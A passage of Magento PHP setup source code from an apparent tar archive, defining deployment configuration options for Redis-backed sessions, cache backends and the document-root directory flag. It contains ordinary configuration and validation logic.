INPUT_KEY_SESSION_REDIS_BOT_FIRST_LIFETIME = 'session-save-redis-bot-first-lifetime'; const INPUT_KEY_SESSION_REDIS_BOT_LIFETIME = 'session-save-redis-bot-lifetime'; const INPUT_KEY_SESSION_REDIS_DISABLE_LOCKING = 'session-save-redis-disable-locking'; const INPUT_KEY_SESSION_REDIS_MIN_LIFETIME = 'session-save-redis-min-lifetime'; const INPUT_KEY_SESSION_REDIS_MAX_LIFETIME = 'session-save-redis-max-lifetime'; const INPUT_KEY_SESSION_REDIS_SENTINEL_SERVERS = 'session-save-redis-sentinel-servers'; const INPUT_KEY_SESSION_REDIS_SENTINEL_MASTER = 'session-save-redis-sentinel-master'; const INPUT_KEY_SESSION_REDIS_SENTINEL_VERIFY_MASTER = 'session-save-redis-sentinel-verify-master'; const INPUT_KEY_SESSION_REDIS_SENTINEL_CONNECT_RETRIES = 'session-save-redis-sentinel-connect-retries'; const CONFIG_PATH_SESSION_REDIS = 'session/redis'; const CONFIG_PATH_SESSION_REDIS_HOST = 'session/redis/host'; const CONFIG_PATH_SESSION_REDIS_PORT = 'session/redis/port'; const CONFIG_PATH_SESSION_REDIS_PASSWORD = 'session/redis/password'; const CONFIG_PATH_SESSION_REDIS_TIMEOUT = 'session/redis/timeout'; const CONFIG_PATH_SESSION_REDIS_PERSISTENT_IDENTIFIER = 'session/redis/persistent_identifier'; const CONFIG_PATH_SESSION_REDIS_DATABASE = 'session/redis/database'; const CONFIG_PATH_SESSION_REDIS_COMPRESSION_THRESHOLD = 'session/redis/compression_threshold'; const CONFIG_PATH_SESSION_REDIS_COMPRESSION_LIBRARY = 'session/redis/compression_library'; const CONFIG_PATH_SESSION_REDIS_LOG_LEVEL = 'session/redis/log_level'; const CONFIG_PATH_SESSION_REDIS_MAX_CONCURRENCY = 'session/redis/max_concurrency'; const CONFIG_PATH_SESSION_REDIS_BREAK_AFTER_FRONTEND = 'session/redis/break_after_frontend'; const CONFIG_PATH_SESSION_REDIS_BREAK_AFTER_ADMINHTML = 'session/redis/break_after_adminhtml'; const CONFIG_PATH_SESSION_REDIS_FIRST_LIFETIME = 'session/redis/first_lifetime'; const CONFIG_PATH_SESSION_REDIS_BOT_FIRST_LIFETIME = 'session/redis/bot_first_lifetime'; const CONFIG_PATH_SESSION_REDIS_BOT_LIFETIME = 'session/redis/bot_lifetime'; const CONFIG_PATH_SESSION_REDIS_DISABLE_LOCKING = 'session/redis/disable_locking'; const CONFIG_PATH_SESSION_REDIS_MIN_LIFETIME = 'session/redis/min_lifetime'; const CONFIG_PATH_SESSION_REDIS_MAX_LIFETIME = 'session/redis/max_lifetime'; const CONFIG_PATH_SESSION_REDIS_SENTINEL_SERVERS = 'session/redis/sentinel_servers'; const CONFIG_PATH_SESSION_REDIS_SENTINEL_MASTER = 'session/redis/sentinel_master'; const CONFIG_PATH_SESSION_REDIS_SENTINEL_VERIFY_MASTER = 'session/redis/sentinel_verify_master'; const CONFIG_PATH_SESSION_REDIS_SENTINEL_CONNECT_RETRIES = 'session/redis/sentinel_connect_retries'; /** * @var array */ private $defaultConfigValues = [ ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE => ConfigOptionsListConstants::SESSION_SAVE_FILES, self::INPUT_KEY_SESSION_REDIS_HOST => '127.0.0.1', self::INPUT_KEY_SESSION_REDIS_PORT => '6379', self::INPUT_KEY_SESSION_REDIS_PASSWORD => '', self::INPUT_KEY_SESSION_REDIS_TIMEOUT => '2.5', self::INPUT_KEY_SESSION_REDIS_PERSISTENT_IDENTIFIER => '', self::INPUT_KEY_SESSION_REDIS_DATABASE => '2', self::INPUT_KEY_SESSION_REDIS_COMPRESSION_THRESHOLD => '2048', self::INPUT_KEY_SESSION_REDIS_COMPRESSION_LIBRARY => 'gzip', self::INPUT_KEY_SESSION_REDIS_LOG_LEVEL => '1', self::INPUT_KEY_SESSION_REDIS_MAX_CONCURRENCY => '6', self::INPUT_KEY_SESSION_REDIS_BREAK_AFTER_FRONTEND => '5', self::INPUT_KEY_SESSION_REDIS_BREAK_AFTER_ADMINHTML => '30', self::INPUT_KEY_SESSION_REDIS_FIRST_LIFETIME => '600', self::INPUT_KEY_SESSION_REDIS_BOT_FIRST_LIFETIME => '60', self::INPUT_KEY_SESSION_REDIS_BOT_LIFETIME => '7200', self::INPUT_KEY_SESSION_REDIS_DISABLE_LOCKING => '0', self::INPUT_KEY_SESSION_REDIS_MIN_LIFETIME => '60', self::INPUT_KEY_SESSION_REDIS_MAX_LIFETIME => '2592000', self::INPUT_KEY_SESSION_REDIS_SENTINEL_VERIFY_MASTER => '0', self::INPUT_KEY_SESSION_REDIS_SENTINEL_CONNECT_RETRIES => '5', ]; /** * @var array */ private $validSaveHandlers = [ ConfigOptionsListConstants::SESSION_SAVE_FILES, ConfigOptionsListConstants::SESSION_SAVE_DB, ConfigOptionsListConstants::SESSION_SAVE_REDIS ]; /** * @var array */ private $validCompressionLibraries = ['gzip', 'lzf', 'lz4', 'snappy']; /** * Associates input keys with config paths for Redis settings * * @var array */ private $redisInputKeyToConfigPathMap = [ self::INPUT_KEY_SESSION_REDIS_HOST => self::CONFIG_PATH_SESSION_REDIS_HOST, self::INPUT_KEY_SESSION_REDIS_PORT => self::CONFIG_PATH_SESSION_REDIS_PORT, self::INPUT_KEY_SESSION_REDIS_PASSWORD => self::CONFIG_PATH_SESSION_REDIS_PASSWORD, self::INPUT_KEY_SESSION_REDIS_TIMEOUT => self::CONFIG_PATH_SESSION_REDIS_TIMEOUT, self::INPUT_KEY_SESSION_REDIS_PERSISTENT_IDENTIFIER => self::CONFIG_PATH_SESSION_REDIS_PERSISTENT_IDENTIFIER, self::INPUT_KEY_SESSION_REDIS_DATABASE => self::CONFIG_PATH_SESSION_REDIS_DATABASE, self::INPUT_KEY_SESSION_REDIS_COMPRESSION_THRESHOLD => self::CONFIG_PATH_SESSION_REDIS_COMPRESSION_THRESHOLD, self::INPUT_KEY_SESSION_REDIS_COMPRESSION_LIBRARY => self::CONFIG_PATH_SESSION_REDIS_COMPRESSION_LIBRARY, self::INPUT_KEY_SESSION_REDIS_LOG_LEVEL => self::CONFIG_PATH_SESSION_REDIS_LOG_LEVEL, self::INPUT_KEY_SESSION_REDIS_MAX_CONCURRENCY => self::CONFIG_PATH_SESSION_REDIS_MAX_CONCURRENCY, self::INPUT_KEY_SESSION_REDIS_BREAK_AFTER_FRONTEND => self::CONFIG_PATH_SESSION_REDIS_BREAK_AFTER_FRONTEND, self::INPUT_KEY_SESSION_REDIS_BREAK_AFTER_ADMINHTML => self::CONFIG_PATH_SESSION_REDIS_BREAK_AFTER_ADMINHTML, self::INPUT_KEY_SESSION_REDIS_FIRST_LIFETIME => self::CONFIG_PATH_SESSION_REDIS_FIRST_LIFETIME, self::INPUT_KEY_SESSION_REDIS_BOT_FIRST_LIFETIME => self::CONFIG_PATH_SESSION_REDIS_BOT_FIRST_LIFETIME, self::INPUT_KEY_SESSION_REDIS_BOT_LIFETIME => self::CONFIG_PATH_SESSION_REDIS_BOT_LIFETIME, self::INPUT_KEY_SESSION_REDIS_DISABLE_LOCKING => self::CONFIG_PATH_SESSION_REDIS_DISABLE_LOCKING, self::INPUT_KEY_SESSION_REDIS_MIN_LIFETIME => self::CONFIG_PATH_SESSION_REDIS_MIN_LIFETIME, self::INPUT_KEY_SESSION_REDIS_MAX_LIFETIME => self::CONFIG_PATH_SESSION_REDIS_MAX_LIFETIME, self::INPUT_KEY_SESSION_REDIS_SENTINEL_MASTER => self::CONFIG_PATH_SESSION_REDIS_SENTINEL_MASTER, self::INPUT_KEY_SESSION_REDIS_SENTINEL_SERVERS => self::CONFIG_PATH_SESSION_REDIS_SENTINEL_SERVERS, self::INPUT_KEY_SESSION_REDIS_SENTINEL_CONNECT_RETRIES => self::CONFIG_PATH_SESSION_REDIS_SENTINEL_CONNECT_RETRIES, self::INPUT_KEY_SESSION_REDIS_SENTINEL_VERIFY_MASTER => self::CONFIG_PATH_SESSION_REDIS_SENTINEL_VERIFY_MASTER, ]; /** * @inheritdoc * @SuppressWarnings(PHPMD.ExcessiveMethodLength) */ public function getOptions() { return [ new SelectConfigOption( ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE, SelectConfigOption::FRONTEND_WIZARD_SELECT, $this->validSaveHandlers, ConfigOptionsListConstants::CONFIG_PATH_SESSION_SAVE, 'Session save handler', $this->getDefaultConfigValue(ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE) ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_HOST, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_HOST, 'Fully qualified host name, IP address, or absolute path if using UNIX sockets' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_PORT, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_PORT, 'Redis server listen port' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_PASSWORD, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_PASSWORD, 'Redis server password' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_TIMEOUT, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_TIMEOUT, 'Connection timeout, in seconds' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_PERSISTENT_IDENTIFIER, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_PERSISTENT_IDENTIFIER, 'Unique string to enable persistent connections' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_DATABASE, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_DATABASE, 'Redis database number' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_COMPRESSION_THRESHOLD, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_COMPRESSION_THRESHOLD, 'Redis compression threshold' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_COMPRESSION_LIBRARY, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_COMPRESSION_LIBRARY, $this->getCompressionLibDescription() ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_LOG_LEVEL, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_LOG_LEVEL, 'Redis log level. Values: 0 (least verbose) to 7 (most verbose)' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_MAX_CONCURRENCY, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_MAX_CONCURRENCY, 'Maximum number of processes that can wait for a lock on one session' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_BREAK_AFTER_FRONTEND, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_BREAK_AFTER_FRONTEND, 'Number of seconds to wait before trying to break a lock for frontend session' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_BREAK_AFTER_ADMINHTML, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_BREAK_AFTER_ADMINHTML, 'Number of seconds to wait before trying to break a lock for Admin session' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_FIRST_LIFETIME, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_FIRST_LIFETIME, 'Lifetime, in seconds, of session for non-bots on the first write (use 0 to disable)' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_BOT_FIRST_LIFETIME, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_BOT_FIRST_LIFETIME, 'Lifetime, in seconds, of session for bots on the first write (use 0 to disable)' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_BOT_LIFETIME, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_BOT_LIFETIME, 'Lifetime of session for bots on subsequent writes (use 0 to disable)' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_DISABLE_LOCKING, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_DISABLE_LOCKING, 'Redis disable locking. Values: false (default), true' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_MIN_LIFETIME, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_MIN_LIFETIME, 'Redis min session lifetime, in seconds' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_MAX_LIFETIME, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_MAX_LIFETIME, 'Redis max session lifetime, in seconds' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_SENTINEL_MASTER, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_SENTINEL_MASTER, 'Redis Sentinel master' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_SENTINEL_SERVERS, TextConfigOption::FRONTEND_WIZARD_TEXT, self::INPUT_KEY_SESSION_REDIS_SENTINEL_SERVERS, 'Redis Sentinel servers, comma separated' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_SENTINEL_VERIFY_MASTER, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_SENTINEL_VERIFY_MASTER, 'Redis Sentinel verify master. Values: false (default), true' ), new TextConfigOption( self::INPUT_KEY_SESSION_REDIS_SENTINEL_CONNECT_RETRIES, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_SESSION_REDIS_SENTINEL_CONNECT_RETRIES, 'Redis Sentinel connect retries.' ), ]; } /** * @inheritdoc */ public function createConfig(array $options, DeploymentConfig $deploymentConfig) { $configData = new ConfigData(ConfigFilePool::APP_ENV); //Set session-save option if (isset($options[ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE])) { $configData->set( ConfigOptionsListConstants::CONFIG_PATH_SESSION_SAVE, $options[ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE] ); if ($options[ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE] == ConfigOptionsListConstants::SESSION_SAVE_REDIS ) { $this->setDefaultRedisConfig($deploymentConfig, $configData); } } //Set all Redis options that are specified foreach ($this->redisInputKeyToConfigPathMap as $inputKey => $configPath) { if (isset($options[$inputKey])) { $configData->set($configPath, $options[$inputKey]); } } return $configData; } /** * @inheritdoc */ public function validate(array $options, DeploymentConfig $deploymentConfig) { $errors = []; if (isset($options[ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE]) && !in_array($options[ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE], $this->validSaveHandlers) ) { $errors[] = "Invalid session handler '{$options[ConfigOptionsListConstants::INPUT_KEY_SESSION_SAVE]}'"; } if (isset($options[self::INPUT_KEY_SESSION_REDIS_COMPRESSION_LIBRARY]) && !in_array($options[self::INPUT_KEY_SESSION_REDIS_COMPRESSION_LIBRARY], $this->validCompressionLibraries) ) { $errors[] = "Invalid Redis compression library " . "'{$options[self::INPUT_KEY_SESSION_REDIS_COMPRESSION_LIBRARY]}'"; } if (isset($options[self::INPUT_KEY_SESSION_REDIS_LOG_LEVEL])) { $level = $options[self::INPUT_KEY_SESSION_REDIS_LOG_LEVEL]; if (($level < 0) || ($level > 7)) { $errors[] = "Invalid Redis log level '{$level}'. Valid range is 0-7, inclusive."; } } return $errors; } /** * Set the session Redis config based on defaults * * @param DeploymentConfig $deploymentConfig * @param ConfigData $configData * @return ConfigData */ private function setDefaultRedisConfig(DeploymentConfig $deploymentConfig, ConfigData $configData) { foreach ($this->redisInputKeyToConfigPathMap as $inputKey => $configPath) { $configData->set($configPath, $deploymentConfig->get($configPath, $this->getDefaultConfigValue($inputKey))); } return $configData; } /** * Get the default value for input key * * @param string $inputKey * @return string */ private function getDefaultConfigValue($inputKey) { if (isset($this->defaultConfigValues[$inputKey])) { return $this->defaultConfigValues[$inputKey]; } else { return ''; } } /** * Format the description for compression lib option * * @return string */ private function getCompressionLibDescription() { $default = $this->getDefaultConfigValue(self::INPUT_KEY_SESSION_REDIS_COMPRESSION_LIBRARY); $otherLibs = array_diff($this->validCompressionLibraries, [$default]); return 'Redis compression library. Values: ' . $default . ' (default), ' . implode(', ', $otherLibs); } } Magento/Setup/Model/ConfigOptionsList/Directory.php000077700000005144151323623130016402 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Model\ConfigOptionsList; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\Config\File\ConfigFilePool; use Magento\Framework\Setup\ConfigOptionsListInterface; use Magento\Framework\Setup\Option\SelectConfigOption; /** * Deployment configuration options for the folders. * @deprecared Magento always uses the pub directory */ class Directory implements ConfigOptionsListInterface { /** * Input key for config command. */ private const INPUT_KEY_DOCUMENT_ROOT_IS_PUB = 'document-root-is-pub'; /** * Path in in configuration. */ const CONFIG_PATH_DOCUMENT_ROOT_IS_PUB = 'directories/document_root_is_pub'; /** * The available configuration values. * * @var array */ private $selectOptions = [true, false]; /** * Create config and update document root value according to provided options * * @param array $options * @param DeploymentConfig $deploymentConfig * @return ConfigData|ConfigData[] * @SuppressWarnings(PHPMD.UnusedFormalParameter) */ public function createConfig(array $options, DeploymentConfig $deploymentConfig) { $configData = new ConfigData(ConfigFilePool::APP_ENV); if (isset($options[self::INPUT_KEY_DOCUMENT_ROOT_IS_PUB])) { $configData->set( self::CONFIG_PATH_DOCUMENT_ROOT_IS_PUB, \filter_var($options[self::INPUT_KEY_DOCUMENT_ROOT_IS_PUB], FILTER_VALIDATE_BOOLEAN) ); } return $configData; } /** * Return options from Directory configuration. * * @return \Magento\Framework\Setup\Option\AbstractConfigOption[]|SelectConfigOption[] */ public function getOptions() { return [ new SelectConfigOption( self::INPUT_KEY_DOCUMENT_ROOT_IS_PUB, SelectConfigOption::FRONTEND_WIZARD_SELECT, $this->selectOptions, self::CONFIG_PATH_DOCUMENT_ROOT_IS_PUB, 'Flag to show is Pub is on root, can be true or false only', true ), ]; } /** * Validate options. * * @param array $options * @param DeploymentConfig $deploymentConfig * @return array|string[] * @SuppressWarnings(PHPMD.UnusedFormalParameter) */ public function validate(array $options, DeploymentConfig $deploymentConfig) { return []; } } Magento/Setup/Model/ConfigOptionsList/Cache.php000077700000027546151323623130015453 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Model\ConfigOptionsList; use Magento\Framework\Setup\ConfigOptionsListInterface; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\Config\File\ConfigFilePool; use Magento\Framework\Setup\Option\FlagConfigOption; use Magento\Framework\Setup\Option\SelectConfigOption; use Magento\Framework\Setup\Option\TextConfigOption; use Magento\Setup\Validator\RedisConnectionValidator; /** * Deployment configuration options for the default cache */ class Cache implements ConfigOptionsListInterface { const INPUT_VALUE_CACHE_REDIS = 'redis'; const CONFIG_VALUE_CACHE_REDIS = \Magento\Framework\Cache\Backend\Redis::class; const INPUT_KEY_CACHE_BACKEND = 'cache-backend'; const INPUT_KEY_CACHE_BACKEND_REDIS_SERVER = 'cache-backend-redis-server'; const INPUT_KEY_CACHE_BACKEND_REDIS_DATABASE = 'cache-backend-redis-db'; const INPUT_KEY_CACHE_BACKEND_REDIS_PORT = 'cache-backend-redis-port'; const INPUT_KEY_CACHE_BACKEND_REDIS_PASSWORD = 'cache-backend-redis-password'; const INPUT_KEY_CACHE_BACKEND_REDIS_COMPRESS_DATA = 'cache-backend-redis-compress-data'; const INPUT_KEY_CACHE_BACKEND_REDIS_COMPRESSION_LIB = 'cache-backend-redis-compression-lib'; const INPUT_KEY_CACHE_ID_PREFIX = 'cache-id-prefix'; const INPUT_KEY_CACHE_ALLOW_PARALLEL_CACHE_GENERATION = 'allow-parallel-generation'; const CONFIG_PATH_CACHE_BACKEND = 'cache/frontend/default/backend'; const CONFIG_PATH_CACHE_BACKEND_SERVER = 'cache/frontend/default/backend_options/server'; const CONFIG_PATH_CACHE_BACKEND_DATABASE = 'cache/frontend/default/backend_options/database'; const CONFIG_PATH_CACHE_BACKEND_PORT = 'cache/frontend/default/backend_options/port'; const CONFIG_PATH_CACHE_BACKEND_PASSWORD = 'cache/frontend/default/backend_options/password'; const CONFIG_PATH_CACHE_BACKEND_COMPRESS_DATA = 'cache/frontend/default/backend_options/compress_data'; const CONFIG_PATH_CACHE_BACKEND_COMPRESSION_LIB = 'cache/frontend/default/backend_options/compression_lib'; const CONFIG_PATH_CACHE_ID_PREFIX = 'cache/frontend/default/id_prefix'; const CONFIG_PATH_ALLOW_PARALLEL_CACHE_GENERATION = 'cache/allow_parallel_generation'; /** * @var array */ private $defaultConfigValues = [ self::INPUT_KEY_CACHE_BACKEND_REDIS_SERVER => '127.0.0.1', self::INPUT_KEY_CACHE_BACKEND_REDIS_DATABASE => '0', self::INPUT_KEY_CACHE_BACKEND_REDIS_PORT => '6379', self::INPUT_KEY_CACHE_BACKEND_REDIS_PASSWORD => '', self::INPUT_KEY_CACHE_BACKEND_REDIS_COMPRESS_DATA => '1', self::INPUT_KEY_CACHE_BACKEND_REDIS_COMPRESSION_LIB => '', self::INPUT_KEY_CACHE_ALLOW_PARALLEL_CACHE_GENERATION => 'false', ]; /** * @var array */ private $validBackendCacheOptions = [ self::INPUT_VALUE_CACHE_REDIS ]; /** * @var array */ private $inputKeyToConfigPathMap = [ self::INPUT_KEY_CACHE_BACKEND_REDIS_SERVER => self::CONFIG_PATH_CACHE_BACKEND_SERVER, self::INPUT_KEY_CACHE_BACKEND_REDIS_DATABASE => self::CONFIG_PATH_CACHE_BACKEND_DATABASE, self::INPUT_KEY_CACHE_BACKEND_REDIS_PORT => self::CONFIG_PATH_CACHE_BACKEND_PORT, self::INPUT_KEY_CACHE_BACKEND_REDIS_PASSWORD => self::CONFIG_PATH_CACHE_BACKEND_PASSWORD, self::INPUT_KEY_CACHE_BACKEND_REDIS_COMPRESS_DATA => self::CONFIG_PATH_CACHE_BACKEND_COMPRESS_DATA, self::INPUT_KEY_CACHE_BACKEND_REDIS_COMPRESSION_LIB => self::CONFIG_PATH_CACHE_BACKEND_COMPRESSION_LIB, self::INPUT_KEY_CACHE_ALLOW_PARALLEL_CACHE_GENERATION => self::CONFIG_PATH_ALLOW_PARALLEL_CACHE_GENERATION, ]; /** * @var RedisConnectionValidator */ private $redisValidator; /** * Construct the Cache ConfigOptionsList * * @param RedisConnectionValidator $redisValidator */ public function __construct(RedisConnectionValidator $redisValidator) { $this->redisValidator = $redisValidator; } /** * @inheritdoc */ public function getOptions() { return [ new SelectConfigOption( self::INPUT_KEY_CACHE_BACKEND, SelectConfigOption::FRONTEND_WIZARD_SELECT, $this->validBackendCacheOptions, self::CONFIG_PATH_CACHE_BACKEND, 'Default cache handler' ), new TextConfigOption( self::INPUT_KEY_CACHE_BACKEND_REDIS_SERVER, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_CACHE_BACKEND_SERVER, 'Redis server' ), new TextConfigOption( self::INPUT_KEY_CACHE_BACKEND_REDIS_DATABASE, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_CACHE_BACKEND_DATABASE, 'Database number for the cache' ), new TextConfigOption( self::INPUT_KEY_CACHE_BACKEND_REDIS_PORT, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_CACHE_BACKEND_PORT, 'Redis server listen port' ), new TextConfigOption( self::INPUT_KEY_CACHE_BACKEND_REDIS_PASSWORD, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_CACHE_BACKEND_PASSWORD, 'Redis server password' ), new TextConfigOption( self::INPUT_KEY_CACHE_BACKEND_REDIS_COMPRESS_DATA, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_CACHE_BACKEND_COMPRESS_DATA, 'Set to 0 to disable compression (default is 1, enabled)' ), new TextConfigOption( self::INPUT_KEY_CACHE_BACKEND_REDIS_COMPRESSION_LIB, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_CACHE_BACKEND_COMPRESSION_LIB, 'Compression lib to use [snappy,lzf,l4z,zstd,gzip] (leave blank to determine automatically)' ), new TextConfigOption( self::INPUT_KEY_CACHE_ID_PREFIX, TextConfigOption::FRONTEND_WIZARD_TEXT, self::CONFIG_PATH_CACHE_ID_PREFIX, 'ID prefix for cache keys' ), new FlagConfigOption( self::INPUT_KEY_CACHE_ALLOW_PARALLEL_CACHE_GENERATION, self::CONFIG_PATH_ALLOW_PARALLEL_CACHE_GENERATION, 'Allow generate cache in non-blocking way' ), ]; } /** * @inheritdoc */ public function createConfig(array $options, DeploymentConfig $deploymentConfig) { $configData = new ConfigData(ConfigFilePool::APP_ENV); if (isset($options[self::INPUT_KEY_CACHE_ID_PREFIX])) { $configData->set(self::CONFIG_PATH_CACHE_ID_PREFIX, $options[self::INPUT_KEY_CACHE_ID_PREFIX]); } else { $configData->set(self::CONFIG_PATH_CACHE_ID_PREFIX, $this->generateCachePrefix()); } if (isset($options[self::INPUT_KEY_CACHE_BACKEND])) { if ($options[self::INPUT_KEY_CACHE_BACKEND] == self::INPUT_VALUE_CACHE_REDIS) { $configData->set(self::CONFIG_PATH_CACHE_BACKEND, self::CONFIG_VALUE_CACHE_REDIS); $this->setDefaultRedisConfig($deploymentConfig, $configData); } else { $configData->set(self::CONFIG_PATH_CACHE_BACKEND, $options[self::INPUT_KEY_CACHE_BACKEND]); } } foreach ($this->inputKeyToConfigPathMap as $inputKey => $configPath) { if (isset($options[$inputKey])) { $configData->set($configPath, $options[$inputKey]); } } return $configData; } /** * @inheritdoc */ public function validate(array $options, DeploymentConfig $deploymentConfig) { $errors = []; $currentCacheBackend = $deploymentConfig->get(Cache::CONFIG_PATH_CACHE_BACKEND); if (isset($options[self::INPUT_KEY_CACHE_BACKEND])) { if ($options[self::INPUT_KEY_CACHE_BACKEND] == self::INPUT_VALUE_CACHE_REDIS) { if (!$this->validateRedisConfig($options, $deploymentConfig)) { $errors[] = 'Invalid Redis configuration. Could not connect to Redis server.'; } } } elseif ($currentCacheBackend == self::CONFIG_VALUE_CACHE_REDIS) { if (!$this->validateRedisConfig($options, $deploymentConfig)) { $errors[] = 'Invalid Redis configuration. Could not connect to Redis server.'; } } if (isset($options[self::INPUT_KEY_CACHE_BACKEND]) && !in_array($options[self::INPUT_KEY_CACHE_BACKEND], $this->validBackendCacheOptions) ) { $errors[] = "Invalid cache handler '{$options[self::INPUT_KEY_CACHE_BACKEND]}'"; } return $errors; } /** * Validate that Redis connection succeeds for given configuration * * @param array $options * @param DeploymentConfig $deploymentConfig * @return bool */ private function validateRedisConfig(array $options, DeploymentConfig $deploymentConfig) { $config = []; $config['host'] = isset($options[self::INPUT_KEY_CACHE_BACKEND_REDIS_SERVER]) ? $options[self::INPUT_KEY_CACHE_BACKEND_REDIS_SERVER] : $deploymentConfig->get( self::CONFIG_PATH_CACHE_BACKEND_SERVER, $this->getDefaultConfigValue(self::INPUT_KEY_CACHE_BACKEND_REDIS_SERVER) ); $config['port'] = isset($options[self::INPUT_KEY_CACHE_BACKEND_REDIS_PORT]) ? $options[self::INPUT_KEY_CACHE_BACKEND_REDIS_PORT] : $deploymentConfig->get( self::CONFIG_PATH_CACHE_BACKEND_PORT, $this->getDefaultConfigValue(self::INPUT_KEY_CACHE_BACKEND_REDIS_PORT) ); $config['db'] = isset($options[self::INPUT_KEY_CACHE_BACKEND_REDIS_DATABASE]) ? $options[self::INPUT_KEY_CACHE_BACKEND_REDIS_DATABASE] : $deploymentConfig->get( self::CONFIG_PATH_CACHE_BACKEND_DATABASE, $this->getDefaultConfigValue(self::INPUT_KEY_CACHE_BACKEND_REDIS_DATABASE) ); $config['password'] = isset($options[self::INPUT_KEY_CACHE_BACKEND_REDIS_PASSWORD]) ? $options[self::INPUT_KEY_CACHE_BACKEND_REDIS_PASSWORD] : $deploymentConfig->get( self::CONFIG_PATH_CACHE_BACKEND_PASSWORD, $this->getDefaultConfigValue(self::INPUT_KEY_CACHE_BACKEND_REDIS_PASSWORD) ); return $this->redisValidator->isValidConnection($config); } /** * Set default values for the Redis configuration. * * @param DeploymentConfig $deploymentConfig * @param ConfigData $configData * @return ConfigData */ private function setDefaultRedisConfig(DeploymentConfig $deploymentConfig, ConfigData $configData) { foreach ($this->inputKeyToConfigPathMap as $inputKey => $configPath) { $configData->set($configPath, $deploymentConfig->get($configPath, $this->getDefaultConfigValue($inputKey))); } return $configData; } /** * Get default value for input key * * @param string $inputKey * @return string */ private function getDefaultConfigValue($inputKey) { if (isset($this->defaultConfigValues[$inputKey])) { return $this->defaultConfigValues[$inputKey]; } else { return ''; } } /** * Generate default cache ID prefix based on installation dir * * @return string */ private function generateCachePrefix(): string { return substr(\hash('sha256', dirname(__DIR__, 6)), 0, 3) . '_'; } } Magento/Setup/Model/ConfigOptionsList/PageCache.php000077700000027205151323623130016240 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Model\ConfigOptionsList; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\Config\File\ConfigFilePool; use Magento\Framework\Setup\ConfigOptionsListInterface; use Magento\Framework\Setup\Option\SelectConfigOption; use 